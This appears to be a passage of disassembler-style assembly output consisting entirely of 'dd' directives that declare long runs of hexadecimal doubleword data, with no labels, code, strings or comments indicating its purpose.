		dd 51A3E995h, 62187216h, 8CE0AC88h, 8D784CA8h, 86A88A1h
		dd 3AE08851h, 589F6C38h, 0BCA477E0h, 590DD500h,	78384E81h
		dd 727A2562h, 93B0B821h, 2C5ED5DBh, 0ABA3C0F4h,	431DAD9h
		dd 0AA248E9Dh, 80B8AC80h, 5D97E0CFh, 92510196h,	2F0ED5E9h
		dd 0C451F2C6h, 93859B10h
		dd 2CD4B62Dh, 6CC0C8D3h, 251849C9h, 0BC015874h,	1CE6B5h
		dd 42BB0Ah, 15171E4Ah, 0EFDD721Dh, 47654D01h, 9C5E25AAh
		dd 61A2A8EFh, 0D16E2850h, 408F5CB8h, 98CE5509h,	8E0F0E1h
		dd 0B40B2CE1h, 1F6C407Ch, 0B50076F5h, 0DAA4C13Ch, 0F4B4AF52h
		dd 75CA01E8h, 3A7D9CB8h, 10082FF9h, 127E8094h, 5ADFEDDBh
		dd 0D098B895h, 3B333288h, 0B92047E8h, 0A08518B0h, 8266AF8Ch
		dd 0F80E9868h, 33922C5h, 0FC9888h, 80B16331h, 60F7DA2Bh
		dd 65E8E100h, 8C20AE9Eh, 0CDCA0152h, 3E4AA19Ah,	41406035h
		dd 0ADBDD88Bh, 2E902D9h, 781F5246h, 6887DC92h, 0C696489Fh
		dd 183A4909h, 107ADA8h,	6D2B1E33h, 8CB6AE4h, 2F221342h
		dd 0AB9C305Ch, 0F801524Bh, 0EAE7472Eh, 0E085708Fh, 884D7F98h
		dd 0A7008430h, 0BF7AE54Ch, 70AA559Fh, 8CCF54E4h, 6252002Ch
		dd 17A09478h, 30B1B335h, 123F5107h, 84CA04B0h, 0EA3E0075h
		dd 0D05ED256h, 0A807AB7Bh, 8B461689h, 8B6293B2h, 484470h
		dd 5315E1C8h, 28CDB2E9h, 4E002975h, 56A7DDAh, 6B37B4AAh
		dd 0F40EA94Bh, 0AE3DD1h, 39A766F6h, 31566Ah, 2EE1A598h
		dd 0BA67DA53h, 0BC37D905h, 0A0CC18D4h, 7B0C0089h, 0E75EF9AFh
		dd 6E00B021h, 0D2EE9151h, 44EAE98h, 7F11BE3Ah, 900B21Ah
		dd 816BE6E3h, 6A3A2D4Ch, 9E3F59E0h, 0D69C01DCh,	741C2EC8h
		dd 1CA87C68h, 74905AD4h, 1AA97205h, 80203274h, 0FFBAC9h
		dd 84231E71h, 0D126E59h, 3C008270h, 4FBC2717h, 609DA22Ah
		dd 6FAC0840h, 8B07E512h, 43233529h, 0F2EF8150h,	8DDD0BC1h
		dd 0D580D7C0h, 16A64BADh, 2A4CAC06h, 2087B0Bh, 428344A2h
		dd 3C4066CBh, 0C600104Bh, 0B93E21C0h, 1907F33h,	0A47EB115h
		dd 83A1F0E5h, 68AEE340h, 821C830h, 386917DDh, 6E340003h
		dd 8D1635F7h, 0ACA92C60h, 0FC4CD110h, 8227001Bh, 8D5CDB7Ch
		dd 21C048FBh, 0E8833ACFh, 0B353B0Eh, 45E17AB2h,	88A50420h
		dd 9C19036Eh, 0C853F248h, 0EEE40EE8h, 6991CBh, 67BE26DAh
		dd 560C00F0h, 0BB88B8A5h, 140AA198h, 80B0FAAAh,	0AA86A08h
		dd 40A09E82h, 984E2197h, 534F310Eh, 808CC048h, 49CDBFh
		dd 0E5C7891Ch, 3AE92D82h, 6C718D2Ah, 4D1D58C0h,	81AD98A6h
		dd 12902F7h, 508DD16Ch,	844237B8h, 0B9B1E702h, 80447253h
		dd 0E2917DAEh, 1BB7254h, 0A5686246h, 801CE59Dh,	7A0B4C40h
		dd 1B18681h, 0C940F164h, 0F81833B4h, 31061439h,	0B363792Ch
		dd 0F6EC8971h, 0FA26A182h, 2341DAD1h, 0D006FCECh, 63CE9600h
		dd 0C0AE8BFFh, 1811B8CFh, 4133C47Ch, 52005D17h,	3F3848CDh
		dd 0E83507Fh, 8D250EF8h, 7585E895h, 0AEA44477h,	437680CFh
		dd 8D012F35h, 0BDB410A4h, 3180789Dh, 7FAABB90h,	8400F2FBh
		dd 6A585E47h, 7D79E644h, 0AD07020Dh, 53CE4663h,	7BCC5840h
		dd 0C1002348h, 566EDC9Eh, 5E8F6280h, 0A57EB280h, 13624B74h
		dd 90268DF9h, 0C225E5E8h, 8FEEF0D1h, 64FB9280h,	94A42CB3h
		dd 4268201h, 55C85C0Fh,	6D3EF880h, 624DE6BBh, 4600F2E8h
		dd 4CBC6AC9h, 3CFB5ACEh, 489B633h, 50244EBFh, 0FD51407Dh
		dd 2DE5D6h, 849F81DBh, 0A6C92722h, 15AF7E01h, 0A538170Fh
		dd 794B824h, 0FCDDA99Ah, 0CF26C3FEh, 6E00517Fh,	585D8341h
		dd 0C4EE23C9h, 20E42720h, 682D8CAh, 1EC0CF43h, 0EF4441FDh
		dd 917C609Dh, 0BA3580CBh, 68D2F200h, 5BBC70FAh,	0B06F022Dh
		dd 24E5AFE9h, 8F2AF890h, 0F90399D3h, 8026F4BBh,	3E39BAC7h
		dd 6385C999h, 409DD119h, 0C8FAF7F8h, 0CB0F4851h, 6FD23573h
		dd 0CD413F16h, 0A20AD86Dh, 1C225180h, 6C67A668h, 0C37CACA0h
		dd 0AC835F0Fh, 406E0CFEh, 0C88E54D1h, 8860078h,	2EEC9C46h
		dd 71E8D56Fh, 7F83BA00h, 14A89761h, 2B840094h, 0E23B6D92h
		dd 463C87Ch, 0ABD1C9h, 73930649h, 80E0B728h, 0F72641Eh
		dd 0A404CA86h, 0A9B52799h, 0B1003B54h, 36538EABh, 6A0805C9h
		dd 0C0FEBC65h, 4F3CC867h, 9C14E605h, 0AC43C69Eh, 50BCB14Bh
		dd 91E70869h, 93730034h, 28D50678h, 5E403E60h, 0DA876Fh
		dd 0DB626E83h, 23E7457Ch, 2C2431C3h, 28FCD8EAh,	1E4B89Fh
		dd 27F6C093h, 0D0F90BBEh, 0B903CD18h, 61871D42h, 149809B7h
		dd 0AC187F3Eh, 0DD006069h, 3C044EC4h, 0AEC398h,	0F0DABC2Ch
		dd 0DBA19217h, 2F0AF590h, 807A0430h, 90A08680h,	58BA5480h
		dd 9F01A66Eh, 0E72967A7h, 0DFA1832Fh, 0D08EA596h, 29054886h
		dd 0EC0B61h, 0A75CB2Ch,	420E8259h, 53162921h, 400C8C08h
		dd 0CB7B647Ah, 0A4D178A0h, 0F7A59CA8h, 40F3FF0Eh, 0A824206Eh
		dd 0B8C38D71h, 0CAA0070Dh, 66BD4783h, 44F431A5h, 0DF0EAA76h
		dd 46EB8281h, 1F694BC5h, 0C0494CECh, 62298DD2h,	5DF49B23h
		dd 25006679h, 3BC86F4Bh, 4917C97Bh, 9B81C02Bh, 4971FA8Eh
		dd 1110F9ECh, 94487D0Bh, 89190931h, 3D096B07h, 0E96F4C80h
		dd 51020D4Ah, 0E8CA7BD5h, 0D9C898A2h, 77AD007Dh, 0ED731495h
		dd 0F778EA1Eh, 80FDA83Dh, 0B6D9C872h, 3E41A1E9h, 39E0248Dh
		dd 1C8C826Ch, 0D4C4DE29h, 0DC0A4680h, 7C63172Ch, 9344009Dh
		dd 6D3955A7h, 64B236D1h, 40FE8D28h, 8F504B7Ah, 2E88A464h
		dd 0B12405C3h, 484B48DFh, 0E2112CD8h, 0A0D1150Ch, 0DF7A3739h
		dd 1B9D7E00h, 0FCE7C7A4h, 0AA820794h, 4AAC4B3Dh, 0A31130h
		dd 1A722F76h, 16C8E0A1h, 20CF7B4Ah, 55823E48h, 0EBDF3804h
		dd 0F88CA5E6h, 0CC4A002Fh, 591736EDh, 29069D7Ch, 45DB48EBh
		dd 0F88E0170h, 43833E6Eh, 5E044A1h, 1CE7B38h, 528D4230h
		dd 70FBE0BAh, 8FB34B11h, 86748C40h, 0F410A342h,	67C0094Fh
		dd 75720586h, 0D9E3C420h, 64C11642h, 348C1183h,	41C0B575h
		dd 4CB19E81h, 0CB5F2400h, 855CB3h, 0C9C37D71h, 3582AED4h
		dd 183C20EFh, 10D141CBh, 7EB57354h, 4F150006h, 83F4A67Eh
		dd 861D318Dh, 0F1D33E60h, 0B4D2200Ah, 1A3C5F40h, 129A01A5h
		dd 9DDA88D6h, 81BE73h, 0EE55F333h, 3046E0A3h, 6D713BE7h
		dd 4500503Dh, 1FF4E89Dh, 24675851h, 1158320Eh, 22D3004Fh
		dd 5DBFE1E0h, 0C9A50194h, 4BC1D1ADh, 17A832B4h,	0D422F78Dh
		dd 9C08C06Ch, 58D49015h, 278038C5h, 8BF9FD12h, 0BE00827Eh
		dd 0F817B303h, 14226C41h, 0C0B14D23h, 0D4B2DA80h, 0B0127D32h
		dd 0E81FE481h, 0A9B60E22h, 47A55809h, 7000CCA5h, 0C3B7030Fh
		dd 6196E05Ah, 2CD5CA2Bh, 1C7954h, 0F0C9BC14h, 324C8B10h
		dd 7CDE54h, 0C745FBDAh,	2C1B1FACh, 0A02F3Dh, 269C39C1h
		dd 6A0064E8h, 0D6CA6F45h, 0F3FCF42h, 0D1BC2B2Eh, 2434B1D8h
		dd 4AE0AB07h, 0DA01BA3Dh, 96409B66h, 1AD8D1h, 716FF770h
		dd 0D9171082h, 0EF372113h, 9C28541Dh, 58238D26h, 35176C40h
		dd 0D56D2CB0h, 4E806F94h, 0E562F5CCh, 3DE02854h, 3318D900h
		dd 0F20F2603h, 60234C17h, 0FA66D7C0h, 5888469Eh, 82720055h
		dd 0A1C5616h, 83180FCEh, 6321529Eh, 7AB95CB4h, 0F5C86507h
		dd 0FEA35032h, 0A30FB53h, 0CF4E59ADh, 869803D4h, 7C0B2F3Bh
		dd 60F21900h, 823CDE57h, 0DAC60090h, 630695FAh,	8D164477h
		dd 903246FDh, 0B18227A1h, 43F9E535h, 88BDC030h,	2817BA08h
		dd 3F005FD1h, 0D69C53A3h, 7F540111h, 0A0DB0B1h,	4021E30Bh
		dd 0A49D141Dh, 0D9C64E80h, 8F013E1Fh, 0DAA2D67h, 93E07379h
		dd 0EE72430h, 127F60B8h, 0B9008B06h, 0F57E9851h, 242E335Ch
		dd 12522813h, 20080096h, 95CE641Eh, 314C4C5Ch, 2217A929h
		dd 0FA10DC77h, 0C2708FDh
		dd 0C57B094Fh, 0A907F416h, 5A9DA3CEh, 97B57DA0h, 1C46705Dh
		dd 521F8B6h, 87112D89h,	2601825Dh, 0D7811048h, 1C000FFAh
		dd 9CAFC023h, 2E6D7CE0h, 40D40AEAh, 407FBBABh, 97799B1Ch
		dd 0AA9839C4h, 0A64B0881h, 18FC6AF2h, 0ED88E0h,	7773E8F4h
		dd 0AE916021h, 130EF5Ch, 7B63BD5Bh, 78422FC1h, 0CCA1100Fh
		dd 0B4094B2Eh, 2A7C408h, 603823CAh, 0E00F74AFh,	1C52B3C0h
		dd 0EB008BB4h, 43D24A17h, 6E72778h, 0D18E4554h,	96003112h
		dd 0E291042Bh, 0E8F3FCh, 6F862CCCh, 46D4C8CDh, 1CC32209h
		dd 11D0053Eh, 857BC00Bh, 0B075A6F4h, 415A5E00h,	0A163BCh
		dd 8E10323Ch, 462B0DFCh, 778FCE1Ch, 0C7AD81FEh,	90624273h
		dd 3E18D090h, 4CF0D241h, 4DC59D08h, 0A08AA3B3h,	2FD15800h
		dd 72D27415h, 53DC8350h, 8133FE80h, 0BC32E5h, 38F339BFh
		dd 98AABB9h, 57639703h,	0E9441C20h, 7F792617h, 1C44CF89h
		dd 133EAC00h, 3730AA9h,	456CF2A5h, 92AB53CEh, 8472B828h
		dd 4187850h, 0AE0088B1h, 0DC7014F5h, 0A4C97C76h, 2EFF0E0h
		dd 8DF76079h, 6CC0B4A9h, 17818220h, 3CFCCC14h, 2B9BBD00h
		dd 5FBF12A6h, 9420008Ah, 0B0E4E6A9h, 971323C9h,	20D0D114h
		dd 22516Ch, 21082F9Eh, 0A90243FCh, 4BB6CF00h, 0D4C02838h
		dd 22531D49h, 0DF873BFh, 0CC70997Dh, 88D0A76Fh,	538E85A3h
		dd 6D8C00Ch, 21190EF3h,	0A93823EEh, 8A059412h, 0C143E00Dh
		dd 1B47EC07h, 62169062h, 7A4CC6F0h, 0D7F22E7Ah,	1807279Fh
		dd 13C456Fh, 2D9C83A3h,	0F8207015h, 0E4AE7E7Fh,	5C9A5A1Eh
		dd 98E32900h, 448D8241h, 0E64026B1h, 0F34C4455h, 92D13444h
		dd 4BDF894h, 8FBA032h, 7030D646h, 21A83A58h, 38170541h
		dd 0C32405A8h, 0CF78C069h, 6848234Bh, 0AD9D10E8h, 164D1E02h
		dd 586081D5h, 53788D72h, 1096C97Ch, 41009A4Bh, 0A90874CCh
		dd 987FA344h, 17324458h, 385F244Ah, 60B16FC6h, 60948298h
		dd 0B0D2CAB5h, 8462008Ch, 9CC9B6B9h, 1650F37Ch,	51888D78h
		dd 0A1B300E1h, 56A691A3h, 38070C6Ch, 0D9974B52h, 4DC498D7h
		dd 75D59CC1h, 0D2A57186h, 5E0041A9h, 0BCD677A0h, 0F629FA4Eh
		dd 0E6F101B4h, 84C145D7h, 6007FD24h, 0C6046BE0h, 0E7D17C99h
		dd 336488h, 16D846F7h, 2BDF6B7h, 0B6FD9500h, 6D640E56h
		dd 740A51DAh, 0BC92D4h,	7FCA9AFAh, 591EA9E1h, 0CFB2E712h
		dd 718D2431h, 9E287AFEh, 0EB2B8034h, 0FA065C9Dh, 9C385300h
		dd 1474255h, 6EDC09DEh,	0C0112517h, 48C847C0h, 2B109C8Eh
		dd 78CC04C9h, 79FCF841h, 88C7C8ABh, 809F403Bh, 0CD5744F0h
		dd 0A0C8AC87h, 732783F9h, 4D353D5Dh, 98A39112h,	3B00AAC0h
		dd 5BC071B4h, 57939BBh,	7BA5634Dh, 1724A4CCh, 97080E58h
		dd 1CEA2021h, 2C3BA520h, 10698F8h, 9FF121BBh, 0D2408847h
		dd 990F4432h, 0ECF1AC14h, 3C9C1516h, 3130154h, 123757ECh
		dd 0F908DD2Dh, 0CCB0FDAAh, 0B705BA6Ch, 74D90D17h, 0BCA99421h
		dd 0D010FB10h, 0CC84380Bh, 0D7C03873h, 0E4F55DACh, 0CE7B1605h
		dd 29500F1Fh, 0F48CDCB6h, 1A036B71h, 4BFEBCA1h,	0A7CDE0E9h
		dd 8DFF14C5h, 7894F024h, 0F61D3B05h, 76440E56h,	0A5B6C503h
		dd 66B16DF0h, 0DA157800h, 6BCF4D81h, 54FF0095h,	9446F4C6h
		dd 432B3967h, 0D1BFA06Fh, 7E287250h, 0B87ECA00h, 5FB44D86h
		dd 0A43502A5h, 0D522AA12h, 0C113C850h, 9012B21Eh, 0C900A0CAh
		dd 0C08E8D9h, 0A1E8E742h, 4A35502h, 89B46F3Bh, 985C93ACh
		dd 4C82E0B8h, 0B1546FEh, 0B2009008h, 0EBED8C4Bh, 4C003977h
		dd 57517324h, 1978747h,	0C546550Fh, 4B4A04h, 0C92BC97Bh
		dd 90C4CA89h, 190E0C00h, 0A7ED4D3h, 0D6EB0744h,	0B0121EFAh
		dd 4DDFE5DBh, 45526712h, 22770482h, 0BCA0479Dh,	0E2FEF17h
		dd 0F8000C7Dh, 643EC56h, 11DEA84h, 5575A231h, 325F9EE1h
		dd 0C21B80D0h, 14497E7h, 8690BE13h, 364DFCC5h, 90712180h
		dd 0E2E5826Eh, 0BB207116h, 0AAC0C84Ch, 0A64D8B54h, 268318A1h
		dd 0FB410548h, 80BC8F8h, 6BC84016h, 9AB40096h, 0C746FEBBh
		dd 9540BFFh, 36002EB8h,	88D70539h, 180FB13h, 0EB4A7589h
		dd 0F708877Dh, 0FDA4D090h, 1C1AB52Ah, 0BEDAD703h, 0F00E52DDh
		dd 7494C971h, 64FB07CFh, 80FEB98Fh, 16F7DEF5h, 0B3F03364h
		dd 0F7A96C47h, 84205023h, 4B000F26h, 0C95B224Eh, 0CFFBF7E6h
		dd 9054A43Eh, 8289DCC8h, 9C1090C5h, 0E2CEC49h, 4AB0E61Bh
		dd 50842073h, 0C0006AC7h, 877CA3F8h, 55C51E4h, 9E82EB98h
		dd 972C0543h, 38F712h, 92DF2CFDh, 0EEAFE1Ch, 0EBDEAE57h
		dd 0B3865C00h, 4B1677FBh, 38D2826Dh, 0FFC529Eh,	7C0C783Bh
		dd 67871BE0h, 1D00E5BCh, 0B3A73355h, 904293F7h,	62C82258h
		dd 0F0201708h, 1C18324Fh, 1488D124h, 0BF4B002Bh, 0B09ABC20h
		dd 0AF488E95h, 7CC813B3h, 349CF0C4h, 4A81853Ch,	0E74106E4h
		dd 0B81097F0h, 0AB772C7Fh, 0AC1709E0h, 7A00C84Ch, 0D8561EF3h
		dd 48FD5D76h, 6801EA08h, 4B388306h, 6CC5528h, 79A3C6BCh
		dd 0EFF62622h, 83C44Ch,	5A2839C7h, 473E326h, 983DB501h
		dd 6DB227E2h, 60747452h, 3A36E0h, 0D884CBFBh, 0F20626FFh
		dd 0AF4DED13h, 0F81E7C20h, 0B2518E6h, 0B7F3B191h, 6E86B500h
		dd 7ACA1582h, 6D700919h, 0A419C07Bh, 0F18C490Bh, 821C66C4h
		dd 93AD1D4Dh, 7F9EA134h, 0E314AC00h, 0F010FA09h, 0CAC4609Ah
		dd 50F30B3Ah, 483C38Fh,	62E8B126h, 0B6063517h, 5EF6EB6Dh
		dd 4D2C0461h, 9A827A5h,	2098680Bh, 53F50003h, 79282966h
		dd 3304B717h, 16CB7CFCh, 0E97E148Ch, 0EB3C602Ah, 0B40F9B74h
		dd 7CFA586Ch, 0B2E3B3CFh, 622CB007h, 56710C00h,	48C97B6Ah
		dd 93AC26h, 0C6CE2A28h,	0E52C9C2Eh, 0A01D2062h,	6FB4A365h
		dd 2C7C909Bh, 0C70F0328h, 7A9D8DEFh, 1F0C793Ch,	3E026F6Ah
		dd 0A2488E0Bh, 2915CDACh, 5600A844h, 0BE0DE945h, 39C8FF4h
		dd 0D96FE709h, 0A1A01EC9h, 0E530B5F6h, 0CABA3919h, 0B08307CEh
		dd 0D0E194A3h, 96B21DF4h, 7CE2C400h, 1062C98Dh,	205A5B3Fh
		dd 7365196Ch, 82E4701Dh, 0ABF5A5C7h, 0DB2B79B0h, 484900C3h
		dd 0C9D790ADh, 5090A76Ah, 2C711A63h, 8D87F069h,	9FD90374h
		dd 0EDC365BAh, 0B577E380h, 0F75EC801h, 6B83C72Bh, 2B8D1DD8h
		dd 0A5A86F2Ah, 9E003C46h, 715D5AE8h, 27929h, 1EA41AC8h
		dd 0A96E4D97h, 0C5F1091Ch, 0D0467800h, 0B0453E08h, 0FC7844h
		dd 42D5CA86h, 512857CFh, 3AC8BF00h, 24C9D0EAh, 0AC4653E3h
		dd 5CC72500h, 7F4197A9h, 80C2C639h, 26E8F9C3h, 2B4EF0h
		dd 3CCA52E3h, 76ADF43Ah, 0B0E2CFF4h, 0C194BD02h, 48D09E9Ch
		dd 0A1031590h, 1182CDAFh, 0FE8D414Ch, 0AA063CD9h, 0F80C05h
		dd 29B40F9Ch, 17CC85FBh, 0A0BF2724h, 0AAAE14Eh,	60246FF1h
		dd 3E2944D7h, 0BF803099h, 23913589h, 2581009Dh,	0A97B3251h
		dd 0B70499E3h, 0CA4E6822h, 126134B0h, 23E74090h, 30C772D8h
		dd 5F339B16h, 8EC9820Bh, 25A41CFBh, 0C0104D83h,	6248E6E9h
		dd 82DF00C0h, 7DE3FEF2h, 4B4309C7h, 5890E714h, 9F796BA3h
		dd 1CAF3F0Fh, 0BE098068h, 503AC935h, 0A4E774A5h, 6F7C00F8h
		dd 2AD0E13h, 0C6EA446Ch, 9790F800h, 39DB7BB6h, 983FEE83h
		dd 884EEE90h, 0D40073CEh, 4675D043h, 1A4C045h, 2F3C34C7h
		dd 41640F8Dh, 1113AF68h, 8180900Bh, 9437A6DEh, 4202F52Fh
		dd 6406D7A1h, 35314122h, 416CF1E3h, 20039033h, 0E7B8E0D5h
		dd 0ACEE53A8h, 0DE092204h
		dd 0FC881B45h, 78958817h, 0A993DD00h, 92EFCD7Eh, 138FF476h
		dd 422C3328h, 87E5A104h, 0F541C868h, 5BA4B558h,	3FA5EC28h
		dd 4003E368h, 0ABC764F6h, 22CC1948h, 0CA7332h, 7667944Dh
		dd 0E176D60h, 0AD12B4A4h, 0D4E3682Fh, 245ACC40h, 60846E48h
		dd 204496F1h, 0B604DD00h, 881B91BEh, 24150B3Fh,	58984275h
		dd 8B00B3A6h, 0D7D2D91Ah, 13074D91h, 7F5F687h, 420F32F2h
		dd 54F1E3ACh, 0EB5C2780h, 76C906Eh, 89C9D3E6h, 0B48269BDh
		dd 0A0AF1577h, 26EBB4C0h, 0F100610Ch, 0F4C95291h, 4CEEB5FEh
		dd 0AE80DC0Ah, 8DA0F092h, 9E178398h, 38C81622h,	287158DAh
		dd 0D75E3F00h, 3876DBD0h, 649C8B24h, 0A13C3411h, 0CDCAAEh
		dd 132B3D53h, 0CEE442D6h, 7452C1Dh, 0F67CE18Eh,	163C1C32h
		dd 88FA9200h, 7723670Bh, 0DAF00408h, 0B9C17C81h, 0CCBB1240h
		dd 95E9C043h, 9DEFC06Dh, 9C41C044h, 0C818EBF2h,	0DFF5A902h
		dd 0F91E66C9h, 0B153003Ch, 0F33350AFh, 0C720FA04h, 0CCA404CAh
		dd 0BD180077h, 78E9745Dh, 0EC0187B8h, 3615A76Fh, 0B87906D0h
		dd 2B2E0C4h, 59BB4BC0h,	0CFAE00C4h, 3D1E5584h, 4DFA2F00h
		dd 0B522E0DBh, 0C2590361h, 0EB036F1Bh, 9D43CEE0h, 0B111C4E8h
		dd 5500080Bh, 0F04E8648h, 410003E9h, 0AFCB47DEh, 33C282h
		dd 4856B88Bh, 0B36F46D4h, 0A6C820FFh, 97A43F20h, 9C471480h
		dd 360BC56Eh, 44751083h, 0CD420040h, 27903D3Ah,	0BC1FE8B6h
		dd 7D4F40A0h, 76409D18h, 1D50B52Bh, 3D49812h, 6F392685h
		dd 0D5D745EDh, 0C7D830ABh, 0DBF0609Fh, 0C10AA6F6h, 0C8D23EFCh
		dd 0C89EF961h, 79683FE4h, 54157FC7h, 26FBB8CBh,	11D40C90h
		dd 0CF940F92h, 0E89E8B2Fh, 3AB31490h, 0D11309E6h, 3484A425h
		dd 7E98C401h, 1DE5C745h, 40ED4420h, 0AF3C26A1h,	161F077Bh
		dd 81C79FB4h, 85E62812h, 0EF860184h, 0A78C4D8h,	689D094Fh
		dd 34A964h, 97C02E13h, 0EA5031E6h, 9D470501h, 10A07727h
		dd 4CB5D0h, 7DD780A4h, 7BD0520Fh, 0DC28CE2Eh, 4540A864h
		dd 0CD39C86Eh, 3EBC009Dh, 4E4BD26Dh, 0C7A49CA0h, 45655200h
		dd 7EE16292h, 0AB9900DAh, 3CC8AA6Ah, 0BA5141AFh, 0E05CFEF8h
		dd 44DC2B96h, 3EB60170h, 0E04273FFh, 0E551E0D4h, 214C9950h
		dd 54ADA544h, 0BC09CCFh, 4269C5Dh, 5745E102h, 84C1F463h
		dd 516C0233h, 0E030084h, 0DDD6B809h, 0F4CCA500h, 70E28999h
		dd 0AC105154h, 173E62D8h, 21E7BD82h, 20B45A9Ch,	67007E66h
		dd 260FCFB0h, 6AD25Bh, 0DBA77230h, 974D34DAh, 298080BEh
		dd 9EB36D63h, 26B8C2A9h, 0EE0D4EE9h, 0C0E670DDh, 7C2B22B0h
		dd 0F88D1652h, 0B34C2132h, 4D8210ABh, 0D2C0A06Fh, 4C91A80h
		dd 3C56481Dh, 582E0E60h, 0B54B176Bh, 0FB500A7h,	4A7F3D9Eh
		dd 60AF5F00h, 0D43EF920h, 0AC1D0227h, 0A13B411Bh, 46445C64h
		dd 6A7F0049h, 0CB6E970Ch, 72040D0Bh, 0CA6C70F1h, 0D218F0BCh
		dd 5F1D998Dh, 39774707h, 0F820DF8Bh, 992A1DDh, 0D214CAB6h
		dd 542258E8h, 0ADFACD00h, 8AB38DCCh, 0F0D29819h, 0E0822463h
		dd 40EA0D20h, 14402F98h, 0F88327DBh, 81A5E9Dh, 14A96E14h
		dd 0B7000EA8h, 0D2E76709h, 1FC1E95h, 0A213A7C9h, 3B5FA54Bh
		dd 0D643F443h, 52B8D18Ch, 0DB80F078h, 20178F45h, 0E4257C5Bh
		dd 10388032h, 260BB50Fh, 902E718Dh, 0C011D1D8h,	391F7949h
		dd 7003166h, 7A3BF365h,	30A500Ch, 0A6D325B0h, 68220E09h
		dd 0C1450EA8h, 0E6E98FC7h, 5E0920D2h, 0D8BFE813h, 0BB4E44B4h
		dd 4DC3F8A0h, 67C8A1C9h, 66BB84ACh, 1EF4A2A4h, 0BD004F6Dh
		dd 803A3E75h, 0B5E11EC3h, 3D09B965h, 88D1B719h,	46DDF000h
		dd 794285F1h, 524B27C7h, 507BA844h, 3E0478F2h, 0B807C0C9h
		dd 1D08CCCh, 99A665CFh,	0CF9F8CE5h, 352090B5h, 7A5AE329h
		dd 43B15C22h, 49E9A03Ch, 0A24D01B5h, 0C20910DDh, 0C4A9DCFDh
		dd 598229C9h, 7ED5006Ch, 0B35387E0h, 0ECBF2601h, 4F080ADDh
		dd 0A7803803h, 0E403962Eh, 74AE23B3h, 2C37F8DBh, 553409CAh
		dd 98815041h, 0CC81EEBDh, 916D52h, 6930C49Eh, 0B2230h
		dd 0FE05CA89h, 0F2D817B9h, 9763D203h, 0F96F351Fh, 2C20A07Dh
		dd 67AD4F92h, 99E4E068h, 0C0004624h, 0D1057693h, 1E38260Dh
		dd 0EEA841EDh, 46E10260h, 0B4C0DFC1h, 111CD52Fh, 135FCF4Ch
		dd 0AFDB803Fh, 1CF82754h, 70B75CD0h, 16B97802h,	31207A0Bh
		dd 1CD1F9Ah, 74DB4AD8h,	0C8EBC42Dh, 2890CF82h, 6948909Dh
		dd 5AFA1FDDh, 8D167028h, 0BAFAE063h, 0F111CC02h, 0F12A176Bh
		dd 642F0054h, 5BD7C1FAh, 0C54BB890h, 0D0352C42h, 390FA9Dh
		dd 0BCC67565h, 0CE00B16Fh, 8E3F6A53h, 16697E86h, 1D676082h
		dd 1049627Ch, 0A96C034Ch, 0E10901F2h, 78709414h, 207C5E7Eh
		dd 0EB7996ACh, 68CA6A00h, 3AE94A3Ch, 1B091288h,	316C087Dh
		dd 0BA8AD180h, 2F89117h, 22129343h, 0BCF949AFh,	0B166EC01h
		dd 0C60E78Ah, 6023018Eh, 0A65D33FBh, 4920D06Dh,	0A5637413h
		dd 3C277C30h, 0B3BE00BCh, 7A01EE58h, 2B2D20F2h,	77AC057Eh
		dd 0C50040B7h, 50697BAEh, 1047839h, 8F124649h, 0A0064A8h
		dd 6D903517h, 9D7F5B1Bh, 36A041C7h, 0B1306117h,	2E4DA57Fh
		dd 96083A41h, 3F74891Dh, 2C1AC9E0h, 3C23F812h, 0C93089CFh
		dd 1928416Eh, 0E591D843h, 0B0F93524h, 9E834205h, 3337D827h
		dd 0D71D5D81h, 0F03DFCh, 0DB291FCEh, 230270E6h,	7CEB3513h
		dd 5C3EE4C8h, 42026CF8h, 2FC67BD7h, 6152845Ch, 0D4218EBCh
		dd 0F7C24403h, 84DD4AC0h, 68D1029Dh, 0D77C8317h, 0BD2B20A4h
		dd 4D1E8260h, 5CC8D2E6h, 7C0FCAh, 1B5425A8h, 46DF98D6h
		dd 479C0900h, 7C960B97h, 4C71C5CEh, 148C87E4h, 3D58A26Dh
		dd 2210D4C1h, 7904B205h, 8A8A4FEh, 0AEC14D84h, 94F0AF83h
		dd 8D0C70A3h, 4B417B22h, 5A8E703Ah, 0E39F2460h,	0DA9A009Dh
		dd 0F39E7D52h, 0EB04036Ah, 0A1E7D7AEh, 0A4D4D0C3h, 0A3800512h
		dd 0B4FC856Ch, 0DB277B7Ch, 0CC3C406Ah, 0E7452474h, 0F089406Ch
		dd 5F0509B0h, 8BDC4F5Eh, 41A6F0CCh, 8294CC4Ch, 6D5D6FE0h
		dd 0DA1402E4h, 0E9F7C5FAh, 0AC741074h, 981A5CC9h, 0FA4CC1B5h
		dd 5238CE9Eh, 2CD499A8h, 2B6177Ch, 0FEEF37D8h, 74C02841h
		dd 0A9294B1Ch, 2C208C88h, 9783A00h, 16C1F530h, 8BFD158Fh
		dd 0E75103Eh, 0BD5E0F9Eh, 0AB527A40h, 50DDEE99h, 0CC8D320Fh
		dd 0B6C9179h, 1AF7C84h,	70E80D0Bh, 0BB0B81D8h, 41B147EBh
		dd 0A87C4341h, 0E68C1A80h, 0FB00F59Dh, 17F4B227h, 1FC8F51h
		dd 25684758h, 75DCE624h, 90082C1Ch, 9EA338FCh, 77C0409Dh
		dd 0E9B24FF1h, 4B6C0BA8h, 48198CA6h, 5D01052h, 0C1BD00D6h
		dd 0FAE0FFFEh, 0FD0B4E4Ah, 6804C2E1h, 7218D0h, 63FF4269h
		dd 0D991ED25h, 80DDEB01h, 4BD310E2h, 24B3E16Ah,	40F51EECh
		dd 0A5538298h, 0A645B490h, 0F0792846h, 0EEF017C9h, 504C0575h
		dd 0A4F64Eh, 9EAD6467h,	9CBC81h, 0BD1FAF6h, 95146B50h
		dd 32B31F01h, 3E89AB10h, 0CF80E07Ch, 0D0E6A6BEh, 7BD35200h
		dd 83F6EFE9h, 3B9E17B8h, 26C00C81h, 0A14BDF89h,	9402D488h
		dd 4286C45Ch, 20E8D26Ch, 39318EFCh, 3D0769F8h, 62CB5170h
		dd 7C8F3850h, 0AB4107BDh, 7282EB19h, 6C5E09C5h,	224E7E44h
		dd 0FE664400h, 32D9A0Dh, 5F241075h, 2F2B00B4h, 0DE1E1D83h
		dd 662ED6B1h, 492D98B8h, 7828A198h, 0E2C01894h,	64B74FB8h
		dd 0C48E7703h, 0A8622EF8h, 928EA09h, 0D56ADCBAh, 0F1351890h
		dd 0D7FC704Ch, 463BD4D9h
		dd 699CE59Ch, 0E40D1727h, 2CC04354h, 0F02C2821h, 6C00CB91h
		dd 6E46E2BBh, 6D074583h, 0BC3AB22Fh, 7D9EB3C0h,	4500987Ah
